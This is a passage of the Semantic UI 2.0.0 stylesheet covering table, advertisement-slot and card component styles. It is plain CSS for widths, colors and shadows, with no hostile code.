#1b1c1d;\n}\n\n.ui.inverted.black.table {\n  background-color: #1b1c1d !important;\n  color: #ffffff !important;\n}\n\n/*--------------\n  Column Count\n---------------*/\n\n/* Grid Based */\n\n.ui.one.column.table td {\n  width: 100%;\n}\n\n.ui.two.column.table td {\n  width: 50%;\n}\n\n.ui.three.column.table td {\n  width: 33.33333333%;\n}\n\n.ui.four.column.table td {\n  width: 25%;\n}\n\n.ui.five.column.table td {\n  width: 20%;\n}\n\n.ui.six.column.table td {\n  width: 16.66666667%;\n}\n\n.ui.seven.column.table td {\n  width: 14.28571429%;\n}\n\n.ui.eight.column.table td {\n  width: 12.5%;\n}\n\n.ui.nine.column.table td {\n  width: 11.11111111%;\n}\n\n.ui.ten.column.table td {\n  width: 10%;\n}\n\n.ui.eleven.column.table td {\n  width: 9.09090909%;\n}\n\n.ui.twelve.column.table td {\n  width: 8.33333333%;\n}\n\n.ui.thirteen.column.table td {\n  width: 7.69230769%;\n}\n\n.ui.fourteen.column.table td {\n  width: 7.14285714%;\n}\n\n.ui.fifteen.column.table td {\n  width: 6.66666667%;\n}\n\n.ui.sixteen.column.table td {\n  width: 6.25%;\n}\n\n/* Column Width */\n\n.ui.table th.one.wide,\n.ui.table td.one.wide {\n  width: 6.25%;\n}\n\n.ui.table th.two.wide,\n.ui.table td.two.wide {\n  width: 12.5%;\n}\n\n.ui.table th.three.wide,\n.ui.table td.three.wide {\n  width: 18.75%;\n}\n\n.ui.table th.four.wide,\n.ui.table td.four.wide {\n  width: 25%;\n}\n\n.ui.table th.five.wide,\n.ui.table td.five.wide {\n  width: 31.25%;\n}\n\n.ui.table th.six.wide,\n.ui.table td.six.wide {\n  width: 37.5%;\n}\n\n.ui.table th.seven.wide,\n.ui.table td.seven.wide {\n  width: 43.75%;\n}\n\n.ui.table th.eight.wide,\n.ui.table td.eight.wide {\n  width: 50%;\n}\n\n.ui.table th.nine.wide,\n.ui.table td.nine.wide {\n  width: 56.25%;\n}\n\n.ui.table th.ten.wide,\n.ui.table td.ten.wide {\n  width: 62.5%;\n}\n\n.ui.table th.eleven.wide,\n.ui.table td.eleven.wide {\n  width: 68.75%;\n}\n\n.ui.table th.twelve.wide,\n.ui.table td.twelve.wide {\n  width: 75%;\n}\n\n.ui.table th.thirteen.wide,\n.ui.table td.thirteen.wide {\n  width: 81.25%;\n}\n\n.ui.table th.fourteen.wide,\n.ui.table td.fourteen.wide {\n  width: 87.5%;\n}\n\n.ui.table th.fifteen.wide,\n.ui.table td.fifteen.wide {\n  width: 93.75%;\n}\n\n.ui.table th.sixteen.wide,\n.ui.table td.sixteen.wide {\n  width: 100%;\n}\n\n/*--------------\n    Sortable\n---------------*/\n\n.ui.sortable.table thead th {\n  cursor: pointer;\n  white-space: nowrap;\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.sortable.table thead th:first-child {\n  border-left: none;\n}\n\n.ui.sortable.table thead th.sorted,\n.ui.sortable.table thead th.sorted:hover {\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n}\n\n.ui.sortable.table thead th:after {\n  display: none;\n  font-style: normal;\n  font-weight: normal;\n  text-decoration: inherit;\n  content: '';\n  height: 1em;\n  width: auto;\n  opacity: 0.8;\n  margin: 0em 0em 0em 0.5em;\n  font-family: 'Icons';\n}\n\n.ui.sortable.table thead th.ascending:after {\n  content: '\\f0d8';\n}\n\n.ui.sortable.table thead th.descending:after {\n  content: '\\f0d7';\n}\n\n/* Hover */\n\n.ui.sortable.table th.disabled:hover {\n  cursor: auto;\n  color: rgba(40, 40, 40, 0.3);\n}\n\n.ui.sortable.table thead th:hover {\n  background: rgba(0, 0, 0, 0.05);\n  color: rgba(0, 0, 0, 0.8);\n}\n\n/* Sorted */\n\n.ui.sortable.table thead th.sorted {\n  background: rgba(0, 0, 0, 0.05);\n  color: rgba(0, 0, 0, 0.95);\n}\n\n.ui.sortable.table thead th.sorted:after {\n  display: inline-block;\n}\n\n/* Sorted Hover */\n\n.ui.sortable.table thead th.sorted:hover {\n  background: rgba(0, 0, 0, 0.05);\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/* Inverted */\n\n.ui.inverted.sortable.table thead th.sorted {\n  background: rgba(255, 255, 255, 0.15) -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.05));\n  background: rgba(255, 255, 255, 0.15) linear-gradient(transparent, rgba(0, 0, 0, 0.05));\n  color: #ffffff;\n}\n\n.ui.inverted.sortable.table thead th:hover {\n  background: rgba(255, 255, 255, 0.08) -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.05));\n  background: rgba(255, 255, 255, 0.08) linear-gradient(transparent, rgba(0, 0, 0, 0.05));\n  color: #ffffff;\n}\n\n.ui.inverted.sortable.table thead th {\n  border-left-color: transparent;\n  border-right-color: transparent;\n}\n\n/*--------------\n    Inverted\n---------------*/\n\n/* Text Color */\n\n.ui.inverted.table {\n  background: #333333;\n  color: rgba(255, 255, 255, 0.9);\n  border: none;\n}\n\n.ui.inverted.table th {\n  background-color: rgba(0, 0, 0, 0.15);\n  border-color: rgba(255, 255, 255, 0.1) !important;\n  color: rgba(255, 255, 255, 0.9);\n}\n\n.ui.inverted.table tr td {\n  border-color: rgba(255, 255, 255, 0.1) !important;\n}\n\n.ui.inverted.table tr.disabled td,\n.ui.inverted.table tr td.disabled,\n.ui.inverted.table tr.disabled:hover td,\n.ui.inverted.table tr:hover td.disabled {\n  pointer-events: none;\n  color: rgba(225, 225, 225, 0.3);\n}\n\n/* Definition */\n\n.ui.inverted.definition.table tfoot:not(.full-width) th:first-child,\n.ui.inverted.definition.table thead:not(.full-width) th:first-child {\n  background: #ffffff;\n}\n\n.ui.inverted.definition.table tr td:first-child {\n  background: rgba(255, 255, 255, 0.02);\n  color: #ffffff;\n}\n\n/*--------------\n   Collapsing\n---------------*/\n\n.ui.collapsing.table {\n  width: auto;\n}\n\n/*--------------\n      Basic\n---------------*/\n\n.ui.basic.table {\n  background: transparent;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  box-shadow: none;\n}\n\n.ui.basic.table thead,\n.ui.basic.table tfoot {\n  box-shadow: none;\n}\n\n.ui.basic.table th {\n  background: transparent;\n  border-left: none;\n}\n\n.ui.basic.table tbody tr {\n  border-bottom: 1px solid rgba(0, 0, 0, 0.1);\n}\n\n.ui.basic.table td {\n  background: transparent;\n}\n\n.ui.basic.striped.table tbody tr:nth-child(2n) {\n  background-color: rgba(0, 0, 0, 0.05) !important;\n}\n\n/* Very Basic */\n\n.ui[class*=\"very basic\"].table {\n  border: none;\n}\n\n.ui[class*=\"very basic\"].table:not(.sortable):not(.striped) th,\n.ui[class*=\"very basic\"].table:not(.sortable):not(.striped) td {\n  padding: '';\n}\n\n.ui[class*=\"very basic\"].table:not(.sortable):not(.striped) th:first-child,\n.ui[class*=\"very basic\"].table:not(.sortable):not(.striped) td:first-child {\n  padding-left: 0em;\n}\n\n.ui[class*=\"very basic\"].table:not(.sortable):not(.striped) th:last-child,\n.ui[class*=\"very basic\"].table:not(.sortable):not(.striped) td:last-child {\n  padding-right: 0em;\n}\n\n.ui[class*=\"very basic\"].table:not(.sortable):not(.striped) thead tr:first-child th {\n  padding-top: 0em;\n}\n\n/*--------------\n     Celled\n---------------*/\n\n.ui.celled.table tr th,\n.ui.celled.table tr td {\n  border-left: 1px solid rgba(34, 36, 38, 0.1);\n}\n\n.ui.celled.table tr th:first-child,\n.ui.celled.table tr td:first-child {\n  border-left: none;\n}\n\n/*--------------\n     Padded\n---------------*/\n\n.ui.padded.table th {\n  padding-left: 1em;\n  padding-right: 1em;\n}\n\n.ui.padded.table th,\n.ui.padded.table td {\n  padding: 1em 1em;\n}\n\n/* Very */\n\n.ui[class*=\"very padded\"].table th {\n  padding-left: 1.5em;\n  padding-right: 1.5em;\n}\n\n.ui[class*=\"very padded\"].table td {\n  padding: 1.5em 1.5em;\n}\n\n/*--------------\n     Compact\n---------------*/\n\n.ui.compact.table th {\n  padding-left: 0.7em;\n  padding-right: 0.7em;\n}\n\n.ui.compact.table td {\n  padding: 0.5em 0.7em;\n}\n\n/* Very */\n\n.ui[class*=\"very compact\"].table th {\n  padding-left: 0.6em;\n  padding-right: 0.6em;\n}\n\n.ui[class*=\"very compact\"].table td {\n  padding: 0.4em 0.6em;\n}\n\n/*--------------\n      Sizes\n---------------*/\n\n/* Small */\n\n.ui.small.table {\n  font-size: 0.9em;\n}\n\n/* Standard */\n\n.ui.table {\n  font-size: 1em;\n}\n\n/* Large */\n\n.ui.large.table {\n  font-size: 1.1em;\n}\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Ad\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2013 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n         Advertisement\n*******************************/\n\n.ui.ad {\n  display: block;\n  overflow: hidden;\n  margin: 1em 0em;\n}\n\n.ui.ad:first-child {\n  margin: 0em;\n}\n\n.ui.ad:last-child {\n  margin: 0em;\n}\n\n.ui.ad iframe {\n  margin: 0em;\n  padding: 0em;\n  border: none;\n  overflow: hidden;\n}\n\n/*--------------\n     Common\n---------------*/\n\n/* Leaderboard */\n\n.ui.leaderboard.ad {\n  width: 728px;\n  height: 90px;\n}\n\n/* Medium Rectangle */\n\n.ui[class*=\"medium rectangle\"].ad {\n  width: 300px;\n  height: 250px;\n}\n\n/* Large Rectangle */\n\n.ui[class*=\"large rectangle\"].ad {\n  width: 336px;\n  height: 280px;\n}\n\n/* Half Page */\n\n.ui[class*=\"half page\"].ad {\n  width: 300px;\n  height: 600px;\n}\n\n/*--------------\n     Square\n---------------*/\n\n/* Square */\n\n.ui.square.ad {\n  width: 250px;\n  height: 250px;\n}\n\n/* Small Square */\n\n.ui[class*=\"small square\"].ad {\n  width: 200px;\n  height: 200px;\n}\n\n/*--------------\n    Rectangle\n---------------*/\n\n/* Small Rectangle */\n\n.ui[class*=\"small rectangle\"].ad {\n  width: 180px;\n  height: 150px;\n}\n\n/* Vertical Rectangle */\n\n.ui[class*=\"vertical rectangle\"].ad {\n  width: 240px;\n  height: 400px;\n}\n\n/*--------------\n     Button\n---------------*/\n\n.ui.button.ad {\n  width: 120px;\n  height: 90px;\n}\n\n.ui[class*=\"square button\"].ad {\n  width: 125px;\n  height: 125px;\n}\n\n.ui[class*=\"small button\"].ad {\n  width: 120px;\n  height: 60px;\n}\n\n/*--------------\n   Skyscrapers\n---------------*/\n\n/* Skyscraper */\n\n.ui.skyscraper.ad {\n  width: 120px;\n  height: 600px;\n}\n\n/* Wide Skyscraper */\n\n.ui[class*=\"wide skyscraper\"].ad {\n  width: 160px;\n}\n\n/*--------------\n     Banners\n---------------*/\n\n/* Banner */\n\n.ui.banner.ad {\n  width: 468px;\n  height: 60px;\n}\n\n/* Vertical Banner */\n\n.ui[class*=\"vertical banner\"].ad {\n  width: 120px;\n  height: 240px;\n}\n\n/* Top Banner */\n\n.ui[class*=\"top banner\"].ad {\n  width: 930px;\n  height: 180px;\n}\n\n/* Half Banner */\n\n.ui[class*=\"half banner\"].ad {\n  width: 234px;\n  height: 60px;\n}\n\n/*--------------\n    Boards\n---------------*/\n\n/* Leaderboard */\n\n.ui[class*=\"large leaderboard\"].ad {\n  width: 970px;\n  height: 90px;\n}\n\n/* Billboard */\n\n.ui.billboard.ad {\n  width: 970px;\n  height: 250px;\n}\n\n/*--------------\n    Panorama\n---------------*/\n\n/* Panorama */\n\n.ui.panorama.ad {\n  width: 980px;\n  height: 120px;\n}\n\n/*--------------\n     Netboard\n---------------*/\n\n/* Netboard */\n\n.ui.netboard.ad {\n  width: 580px;\n  height: 400px;\n}\n\n/*--------------\n     Mobile\n---------------*/\n\n/* Large Mobile Banner */\n\n.ui[class*=\"large mobile banner\"].ad {\n  width: 320px;\n  height: 100px;\n}\n\n/* Mobile Leaderboard */\n\n.ui[class*=\"mobile leaderboard\"].ad {\n  width: 320px;\n  height: 50px;\n}\n\n/*******************************\n             Types\n*******************************/\n\n/* Mobile Sizes */\n\n.ui.mobile.ad {\n  display: none;\n}\n\n@media only screen and (max-width: 767px) {\n  .ui.mobile.ad {\n    display: block;\n  }\n}\n\n/*******************************\n           Variations\n*******************************/\n\n.ui.centered.ad {\n  margin-left: auto;\n  margin-right: auto;\n}\n\n.ui.test.ad {\n  position: relative;\n  background: #545454;\n}\n\n.ui.test.ad:after {\n  position: absolute;\n  top: 50%;\n  left: 50%;\n  width: 100%;\n  text-align: center;\n  -webkit-transform: translateX(-50%) translateY(-50%);\n  -ms-transform: translateX(-50%) translateY(-50%);\n  transform: translateX(-50%) translateY(-50%);\n  content: 'Ad';\n  color: #ffffff;\n  font-size: 1em;\n  font-weight: bold;\n}\n\n.ui.mobile.test.ad:after {\n  font-size: 0.85714286em;\n}\n\n.ui.test.ad[data-text]:after {\n  content: attr(data-text);\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n    User Variable Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Item\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Standard\n*******************************/\n\n/*--------------\n      Card\n---------------*/\n\n.ui.cards > .card,\n.ui.card {\n  max-width: 100%;\n  position: relative;\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  width: 290px;\n  min-height: 0px;\n  background: #ffffff;\n  padding: 0em;\n  border: none;\n  border-radius: 0.28571429rem;\n  box-shadow: 0px 1px 3px 0px #d4d4d5, 0px 0px 0px 1px #d4d4d5;\n  -webkit-transition: box-shadow 0.1s ease, -webkit-transform 0.1s ease;\n  transition: box-shadow 0.1s ease, transform 0.1s ease;\n  z-index: '';\n}\n\n.ui.card {\n  margin: 1em 0em;\n}\n\n.ui.cards > .card a,\n.ui.card a {\n  cursor: pointer;\n}\n\n.ui.card:first-child {\n  margin-top: 0em;\n}\n\n.ui.card:last-child {\n  margin-bottom: 0em;\n}\n\n/*--------------\n      Cards\n---------------*/\n\n.ui.cards {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  margin: -0.875em -0.5em;\n  -webkit-flex-wrap: wrap;\n  -ms-flex-wrap: wrap;\n  flex-wrap: wrap;\n}\n\n.ui.cards > .card {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  margin: 0.875em 0.5em;\n  float: none;\n}\n\n/* Clearing */\n\n.ui.cards:after,\n.ui.card:after {\n  display: block;\n  content: ' ';\n  height: 0px;\n  clear: both;\n  overflow: hidden;\n  visibility: hidden;\n}\n\n/* Consecutive Card Groups Preserve Row Spacing */\n\n.ui.cards ~ .ui.cards {\n  margin-top: 0.875em;\n}\n\n/*--------------\n  Rounded Edges\n---------------*/\n\n.ui.cards > .card > :first-child,\n.ui.card > :first-child {\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em !important;\n  border-top: none !important;\n}\n\n.ui.cards > .card > :last-child,\n.ui.card > :last-child {\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem !important;\n}\n\n.ui.cards > .card > :only-child,\n.ui.card > :only-child {\n  border-radius: 0.28571429rem !important;\n}\n\n/*--------------\n     Images\n---------------*/\n\n.ui.cards > .card > .image,\n.ui.card > .image {\n  position: relative;\n  display: block;\n  -webkit-box-flex: 0;\n  -webkit-flex: 0 0 auto;\n  -ms-flex: 0 0 auto;\n  flex: 0 0 auto;\n  padding: 0em;\n  background: rgba(0, 0, 0, 0.05);\n}\n\n.ui.cards > .card > .image > img,\n.ui.card > .image > img {\n  display: block;\n  width: 100%;\n  height: auto;\n  border-radius: inherit;\n}\n\n.ui.cards > .card > .image:not(.ui) > img,\n.ui.card > .image:not(.ui) > img {\n  border: none;\n}\n\n/*--------------\n     Content\n---------------*/\n\n.ui.cards > .card > .content,\n.ui.card > .content {\n  -webkit-box-flex: 1;\n  -webkit-flex-grow: 1;\n  -ms-flex-positive: 1;\n  flex-grow: 1;\n  border: none;\n  border-top: 1px solid rgba(34, 36, 38, 0.1);\n  background: none;\n  margin: 0em;\n  padding: 1em 1em;\n  box-shadow: none;\n  font-size: 1em;\n  border-radius: 0em;\n}\n\n.ui.cards > .card > .content:after,\n.ui.card > .content:after {\n  display: block;\n  content: ' ';\n  height: 0px;\n  clear: both;\n  overflow: hidden;\n  visibility: hidden;\n}\n\n.ui.cards > .card > .content > .header,\n.ui.card > .content > .header {\n  display: block;\n  margin: '';\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  color: rgba(0, 0, 0, 0.85);\n}\n\n/* Default Header Size */\n\n.ui.cards > .card > .content > .header:not(.ui),\n.ui.card > .content > .header:not(.ui) {\n  font-weight: bold;\n  font-size: 1.28571429em;\n  margin-top: -0.21425em;\n  line-height: 1.2857em;\n}\n\n.ui.cards > .card > .content > .meta + .description,\n.ui.cards > .card > .content > .header + .description,\n.ui.card > .content > .meta + .description,\n.ui.card > .content > .header + .description {\n  margin-top: 0.5em;\n}\n\n/*----------------\n Floated Content\n-----------------*/\n\n.ui.cards > .card [class*=\"left floated\"],\n.ui.card [class*=\"left floated\"] {\n  float: left;\n}\n\n.ui.cards > .card [class*=\"right floated\"],\n.ui.card [class*=\"right floated\"] {\n  float: right;\n}\n\n/*--------------\n     Aligned\n---------------*/\n\n.ui.cards > .card [class*=\"left aligned\"],\n.ui.card [class*=\"left aligned\"] {\n  text-align: left;\n}\n\n.ui.cards > .card [class*=\"center aligned\"],\n.ui.card [class*=\"center aligned\"] {\n  text-align: center;\n}\n\n.ui.cards > .card [class*=\"right aligned\"],\n.ui.card [class*=\"right aligned\"] {\n  text-align: right;\n}\n\n/*--------------\n  Content Image\n---------------*/\n\n.ui.cards > .card .content img,\n.ui.card .content img {\n  display: inline-block;\n  vertical-align: middle;\n  width: '';\n}\n\n.ui.cards > .card img.avatar,\n.ui.cards > .card .avatar img,\n.ui.card img.avatar,\n.ui.card .avatar img {\n  width: 2em;\n  height: 2em;\n  border-radius: 500rem;\n}\n\n/*--------------\n   Description\n---------------*/\n\n.ui.cards > .card > .content > .description,\n.ui.card > .content > .description {\n  clear: both;\n  color: rgba(0, 0, 0, 0.68);\n}\n\n/*--------------\n    Paragraph\n---------------*/\n\n.ui.cards > .card > .content p,\n.ui.card > .content p {\n  margin: 0em 0em 0.5em;\n}\n\n.ui.cards > .card > .content p:last-child,\n.ui.card > .content p:last-child {\n  margin-bottom: 0em;\n}\n\n/*--------------\n      Meta\n---------------*/\n\n.ui.cards > .card .meta,\n.ui.card .meta {\n  font-size: 1em;\n  color: rgba(0, 0, 0, 0.4);\n}\n\n.ui.cards > .card .meta *,\n.ui.card .meta * {\n  margin-right: 0.3em;\n}\n\n.ui.cards > .card .meta :last-child,\n.ui.card .meta :last-child {\n  margin-right: 0em;\n}\n\n.ui.cards > .card .meta [class*=\"right floated\"],\n.ui.card .meta [class*=\"right floated\"] {\n  margin-right: 0em;\n  margin-left: 0.3em;\n}\n\n/*--------------\n      Links\n---------------*/\n\n/* Generic */\n\n.ui.cards > .card > .content a:not(.ui),\n.ui.card > .content a:not(.ui) {\n  color: '';\n  -webkit-transition: color 0.1s ease;\n  transition: color 0.1s ease;\n}\n\n.ui.cards > .card > .content a:not(.ui):hover,\n.ui.card > .content a:not(.ui):hover {\n  color: '';\n}\n\n/* Header */\n\n.ui.cards > .card > .content > a.header,\n.ui.card > .content > a.header {\n  color: rgba(0, 0, 0, 0.85);\n}\n\n.ui.cards > .card > .content > a.header:hover,\n.ui.card > .content > a.header:hover {\n  color: #1e70bf;\n}\n\n/* Meta */\n\n.ui.cards > .card .meta > a:not(.ui),\n.ui.card .meta > a:not(.ui) {\n  color: rgba(0, 0, 0, 0.4);\n}\n\n.ui.cards > .card .meta > a:not(.ui):hover,\n.ui.card .meta > a:not(.ui):hover {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/*--------------\n     Buttons\n---------------*/\n\n.ui.cards > .card > .buttons,\n.ui.card > .buttons,\n.ui.cards > .card > .button,\n.ui.card > .button {\n  margin: 0px -1px;\n  width: calc(100% +  2px );\n}\n\n/*--------------\n      Dimmer\n---------------*/\n\n.ui.cards > .card .dimmer,\n.ui.card .dimmer {\n  background-color: '';\n  z-index: 10;\n}\n\n/*--------------\n     Labels\n---------------*/\n\n/*-----Star----- */\n\n/* Icon */\n\n.ui.cards > .card > .content .star.icon,\n.ui.card > .content .star.icon {\n  cursor: pointer;\n  opacity: 0.75;\n  -webkit-transition: color 0.1s ease;\n  transition: color 0.1s ease;\n}\n\n.ui.cards > .card > .content .star.icon:hover,\n.ui.card > .content .star.icon:hover {\n  opacity: 1;\n  color: #ffb70a;\n}\n\n.ui.cards > .card > .content .active.star.icon,\n.ui.card > .content .active.star.icon {\n  color: #ffe623;\n}\n\n/*-----Like----- */\n\n/* Icon */\n\n.ui.cards > .card > .content .like.icon,\n.ui.card > .content .like.icon {\n  cursor: pointer;\n  opacity: 0.75;\n  -webkit-transition: color 0.1s ease;\n  transition: color 0.1s ease;\n}\n\n.ui.cards > .card > .content .like.icon:hover,\n.ui.card > .content .like.icon:hover {\n  opacity: 1;\n  color: #ff2733;\n}\n\n.ui.cards > .card > .content .active.like.icon,\n.ui.card > .content .active.like.icon {\n  color: #ff2733;\n}\n\n/*----------------\n  Extra Content\n-----------------*/\n\n.ui.cards > .card > .extra,\n.ui.card > .extra {\n  max-width: 100%;\n  min-height: 0em !important;\n  -webkit-box-flex: 0;\n  -webkit-flex-grow: 0;\n  -ms-flex-positive: 0;\n  flex-grow: 0;\n  border-top: 1px solid rgba(0, 0, 0, 0.05) !important;\n  position: static;\n  background: none;\n  width: auto;\n  margin: 0em 0em;\n  padding: 0.75em 1em;\n  top: 0em;\n  left: 0em;\n  color: rgba(0, 0, 0, 0.4);\n  box-shadow: none;\n  -webkit-transition: color 0.1s ease;\n  transition: color 0.1s ease;\n}\n\n.ui.cards > .card > .extra a:not(.ui),\n.ui.card > .extra a:not(.ui) {\n  color: rgba(0, 0, 0, 0.4);\n}\n\n.ui.cards > .card > .extra a:not(.ui):hover,\n.ui.card > .extra a:not(.ui):hover {\n  color: #1e70bf;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*-------------------\n       Centered\n--------------------*/\n\n.ui.centered.card {\n  margin-left: auto;\n  margin-right: auto;\n}\n\n/*-------------------\n        Fluid\n--------------------*/\n\n.ui.fluid.card {\n  width: 100%;\n  max-width: 9999px;\n}\n\n/*-------------------\n        Link\n--------------------*/\n\n.ui.cards a.card,\n.ui.link.cards .card,\na.ui.card,\n.ui.link.card {\n  -webkit-transform: none;\n  -ms-transform: none;\n  transform: none;\n}\n\n.ui.cards a.card:hover,\n.ui.link.cards .card:hover,\na.ui.card:hover,\n.ui.link.card:hover {\n  cursor: pointer;\n  z-index: 5;\n  background: #ffffff;\n  border: none;\n  box-shadow: 0px 1px 3px 0px #bcbdbd, 0px 0px 0px 1px #d4d4d5;\n  -webkit-transform: translateY(-3px);\n  -ms-transform: translateY(-3px);\n  transform: translateY(-3px);\n}\n\n/*-------------------\n       Colors\n--------------------*/\n\n/* Red */\n\n.ui.red.cards > .card,\n.ui.cards > .red.card,\n.ui.red.card {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #db2828, 0px 1px 3px 0px #d4d4d5;\n}\n\n.ui.red.cards > .card:hover,\n.ui.cards > .red.card:hover,\n.ui.red.card:hover {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #d01919, 0px 1px 3px 0px #bcbdbd;\n}\n\n/* Orange */\n\n.ui.orange.cards > .card,\n.ui.cards > .orange.card,\n.ui.orange.card {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #f2711c, 0px 1px 3px 0px #d4d4d5;\n}\n\n.ui.orange.cards > .card:hover,\n.ui.cards > .orange.card:hover,\n.ui.orange.card:hover {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #f26202, 0px 1px 3px 0px #bcbdbd;\n}\n\n/* Yellow */\n\n.ui.yellow.cards > .card,\n.ui.cards > .yellow.card,\n.ui.yellow.card {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #fbbd08, 0px 1px 3px 0px #d4d4d5;\n}\n\n.ui.yellow.cards > .card:hover,\n.ui.cards > .yellow.card:hover,\n.ui.yellow.card:hover {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #eaae00, 0px 1px 3px 0px #bcbdbd;\n}\n\n/* Olive */\n\n.ui.olive.cards > .card,\n.ui.cards > .olive.card,\n.ui.olive.card {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #b5cc18, 0px 1px 3px 0px #d4d4d5;\n}\n\n.ui.olive.cards > .card:hover,\n.ui.cards > .olive.card:hover,\n.ui.olive.card:hover {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #a7bd0d, 0px 1px 3px 0px #bcbdbd;\n}\n\n/* Green */\n\n.ui.green.cards > .card,\n.ui.cards > .green.card,\n.ui.green.card {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #21ba45, 0px 1px 3px 0px #d4d4d5;\n}\n\n.ui.green.cards > .card:hover,\n.ui.cards > .green.card:hover,\n.ui.green.card:hover {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #16ab39, 0px 1px 3px 0px #bcbdbd;\n}\n\n/* Teal */\n\n.ui.teal.cards > .card,\n.ui.cards > .teal.card,\n.ui.teal.card {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #00b5ad, 0px 1px 3px 0px #d4d4d5;\n}\n\n.ui.teal.cards > .card:hover,\n.ui.cards > .teal.card:hover,\n.ui.teal.card:hover {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #009c95, 0px 1px 3px 0px #bcbdbd;\n}\n\n/* Blue */\n\n.ui.blue.cards > .card,\n.ui.cards > .blue.card,\n.ui.blue.card {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #2185d0, 0px 1px 3px 0px #d4d4d5;\n}\n\n.ui.blue.cards > .card:hover,\n.ui.cards > .blue.card:hover,\n.ui.blue.card:hover {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #1678c2, 0px 1px 3px 0px #bcbdbd;\n}\n\n/* Violet */\n\n.ui.violet.cards > .card,\n.ui.cards > .violet.card,\n.ui.violet.card {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #6435c9, 0px 1px 3px 0px #d4d4d5;\n}\n\n.ui.violet.cards > .card:hover,\n.ui.cards > .violet.card:hover,\n.ui.violet.card:hover {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #5829bb, 0px 1px 3px 0px #bcbdbd;\n}\n\n/* Purple */\n\n.ui.purple.cards > .card,\n.ui.cards > .purple.card,\n.ui.purple.card {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #a333c8, 0px 1px 3px 0px #d4d4d5;\n}\n\n.ui.purple.cards > .card:hover,\n.ui.cards > .purple.card:hover,\n.ui.purple.card:hover {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #9627ba, 0px 1px 3px 0px #bcbdbd;\n}\n\n/* Pink */\n\n.ui.pink.cards > .card,\n.ui.cards > .pink.card,\n.ui.pink.card {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #e03997, 0px 1px 3px 0px #d4d4d5;\n}\n\n.ui.pink.cards > .card:hover,\n.ui.cards > .pink.card:hover,\n.ui.pink.card:hover {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #e61a8d, 0px 1px 3px 0px #bcbdbd;\n}\n\n/* Brown */\n\n.ui.brown.cards > .card,\n.ui.cards > .brown.card,\n.ui.brown.card {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #a5673f, 0px 1px 3px 0px #d4d4d5;\n}\n\n.ui.brown.cards > .card:hover,\n.ui.cards > .brown.card:hover,\n.ui.brown.card:hover {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #975b33, 0px 1px 3px 0px #bcbdbd;\n}\n\n/* Grey */\n\n.ui.grey.cards > .card,\n.ui.cards > .grey.card,\n.ui.grey.card {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #767676, 0px 1px 3px 0px #d4d4d5;\n}\n\n.ui.grey.cards > .card:hover,\n.ui.cards > .grey.card:hover,\n.ui.grey.card:hover {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #838383, 0px 1px 3px 0px #bcbdbd;\n}\n\n/* Black */\n\n.ui.black.cards > .card,\n.ui.cards > .black.card,\n.ui.black.card {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 0px 2px 0px 0px #1b1c1d, 0px 1px 3px 0px #d4d4d5;\n}\n\n.ui.black.cards > .card:hover,\n.ui.cards > .black.card:hover,\n.ui.black.card:hover {\n  box-shadow: 0px 0px 0px 1px #d4d4d5, 